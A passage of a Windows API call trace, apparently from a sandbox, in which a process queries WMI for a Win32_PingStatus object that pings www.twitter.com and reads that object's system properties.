(bstr="root\\cimv2") returned 0x14 [0160.308] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0160.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.309] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x450 [0160.309] SetEvent (hEvent=0x3f4) returned 1 [0160.309] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x450, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0160.312] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0160.312] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0160.312] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df4d0) returned 0x0 [0160.312] WbemDefPath:IUnknown:AddRef (This=0x5df4d0) returned 0x3 [0160.312] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x2 [0160.312] WbemDefPath:IWbemPath:SetText (This=0x5df4d0, uMode=0x4, pszPath="") returned 0x0 [0160.313] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x460 [0160.313] SetEvent (hEvent=0x3f4) returned 1 [0160.313] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x460, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0160.316] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0160.316] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0160.316] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df460) returned 0x0 [0160.316] WbemDefPath:IUnknown:AddRef (This=0x5df460) returned 0x3 [0160.316] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x2 [0160.316] WbemDefPath:IWbemPath:SetText (This=0x5df460, uMode=0x4, pszPath="") returned 0x0 [0160.316] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df460, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0160.316] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df4d0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0160.316] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df460, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0160.316] WbemDefPath:IWbemPath:GetServer (in: This=0x5df460, puNameBufLength=0x5bde89c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde89c*=0x0, pName=0x0) returned 0x80041009 [0160.316] WbemDefPath:IWbemPath:SetServer (This=0x5df460, Name="Q9IATRKPRH") returned 0x0 [0160.317] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0160.317] SetEvent (hEvent=0x3f4) returned 1 [0160.317] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4ec, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0160.320] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0160.320] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0160.320] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df3f0) returned 0x0 [0160.320] WbemDefPath:IUnknown:AddRef (This=0x5df3f0) returned 0x3 [0160.320] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x2 [0160.320] WbemDefPath:IWbemPath:SetText (This=0x5df3f0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df460, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x2) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=16, puBuffLength=0x5bde844*=0x0, pszText=0x0 | out: puBuffLength=0x5bde844*=0xb, pszText=0x0) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetText (in: This=0x5df3f0, lFlags=16, puBuffLength=0x5bde844*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde844*=0xb, pszText="root\\cimv2") returned 0x0 [0160.320] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df460) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df3f0, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df3f0, uIndex=0x0, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x5, pName=0x0) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df3f0, uIndex=0x0, puNameBufLength=0x5bde87c*=0x5, pName="0000" | out: puNameBufLength=0x5bde87c*=0x5, pName="root") returned 0x0 [0160.320] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df460, uIndex=0x0, pszName="root") returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df3f0, uIndex=0x1, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x6, pName=0x0) returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df3f0, uIndex=0x1, puNameBufLength=0x5bde87c*=0x6, pName="00000" | out: puNameBufLength=0x5bde87c*=0x6, pName="cimv2") returned 0x0 [0160.320] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df460, uIndex=0x1, pszName="cimv2") returned 0x0 [0160.320] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df460, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0160.321] WbemDefPath:IWbemPath:SetClassName (This=0x5df460, Name="Win32_PingStatus") returned 0x0 [0160.321] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df460, puCount=0x5bde8e4 | out: puCount=0x5bde8e4*=0x2) returned 0x0 [0160.321] WbemDefPath:IWbemPath:GetText (in: This=0x5df460, lFlags=4, puBuffLength=0x5bde8e0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8e0*=0x29, pszText=0x0) returned 0x0 [0160.321] WbemDefPath:IWbemPath:GetText (in: This=0x5df460, lFlags=4, puBuffLength=0x5bde8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x5bde8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.325] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.325] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0160.325] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.325] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.325] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0160.326] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.326] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.326] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.326] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.326] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.326] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.326] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.326] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.326] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.326] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.326] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.326] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.326] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.327] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.327] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.327] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.327] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.327] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.327] SysStringByteLen (bstr="__PATH") returned 0xc [0160.327] SysStringByteLen (bstr="__PATH") returned 0xc [0160.327] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab1a0*=0, plFlavor=0x25ab1a4*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25ab1a0*=3, plFlavor=0x25ab1a4*=64) returned 0x0 [0160.327] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab1d4*=0, plFlavor=0x25ab1d8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ab1d4*=8, plFlavor=0x25ab1d8*=64) returned 0x0 [0160.327] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.327] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.327] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab22c*=0, plFlavor=0x25ab230*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab22c*=8, plFlavor=0x25ab230*=64) returned 0x0 [0160.328] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab254*=0, plFlavor=0x25ab258*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ab254*=8, plFlavor=0x25ab258*=64) returned 0x0 [0160.328] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.328] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.328] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab2ac*=0, plFlavor=0x25ab2b0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ab2ac*=8, plFlavor=0x25ab2b0*=64) returned 0x0 [0160.328] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.328] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.328] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab488*=0, plFlavor=0x25ab48c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25ab488*=3, plFlavor=0x25ab48c*=64) returned 0x0 [0160.328] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab4bc*=0, plFlavor=0x25ab4c0*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25ab4bc*=8200, plFlavor=0x25ab4c0*=64) returned 0x0 [0160.329] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab4f0*=0, plFlavor=0x25ab4f4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25ab4f0*=8, plFlavor=0x25ab4f4*=64) returned 0x0 [0160.329] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.329] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.329] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.329] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.329] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0160.329] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0160.329] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.329] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0160.329] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.329] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.329] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0160.330] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.330] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.330] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.330] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.330] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.330] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.330] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.330] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.330] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.330] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.330] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.330] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.330] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.330] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.330] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.330] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.330] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.330] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.330] SysStringByteLen (bstr="__PATH") returned 0xc [0160.330] SysStringByteLen (bstr="__PATH") returned 0xc [0160.331] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab8d0*=0, plFlavor=0x25ab8d4*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25ab8d0*=3, plFlavor=0x25ab8d4*=64) returned 0x0 [0160.331] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab904*=0, plFlavor=0x25ab908*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ab904*=8, plFlavor=0x25ab908*=64) returned 0x0 [0160.331] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.331] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.331] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab95c*=0, plFlavor=0x25ab960*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab95c*=8, plFlavor=0x25ab960*=64) returned 0x0 [0160.331] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab984*=0, plFlavor=0x25ab988*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ab984*=8, plFlavor=0x25ab988*=64) returned 0x0 [0160.331] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.331] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.331] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ab9dc*=0, plFlavor=0x25ab9e0*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25ab9dc*=8, plFlavor=0x25ab9e0*=64) returned 0x0 [0160.332] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.332] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.332] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25abbb8*=0, plFlavor=0x25abbbc*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25abbb8*=3, plFlavor=0x25abbbc*=64) returned 0x0 [0160.332] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25abbec*=0, plFlavor=0x25abbf0*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25abbec*=8200, plFlavor=0x25abbf0*=64) returned 0x0 [0160.332] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25abc20*=0, plFlavor=0x25abc24*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25abc20*=8, plFlavor=0x25abc24*=64) returned 0x0 [0160.332] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.332] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.332] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25abc20*=8, plFlavor=0x25abc24*=64 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25abc20*=8, plFlavor=0x25abc24*=64) returned 0x0 [0160.333] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.333] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.333] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.333] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0160.333] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0160.333] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.333] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0160.333] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.333] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.333] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0160.334] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.334] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.334] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.334] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.334] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.334] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.334] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.334] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.334] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.334] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.334] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.334] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.334] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.334] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.334] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.334] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.334] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.334] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.334] SysStringByteLen (bstr="__PATH") returned 0xc 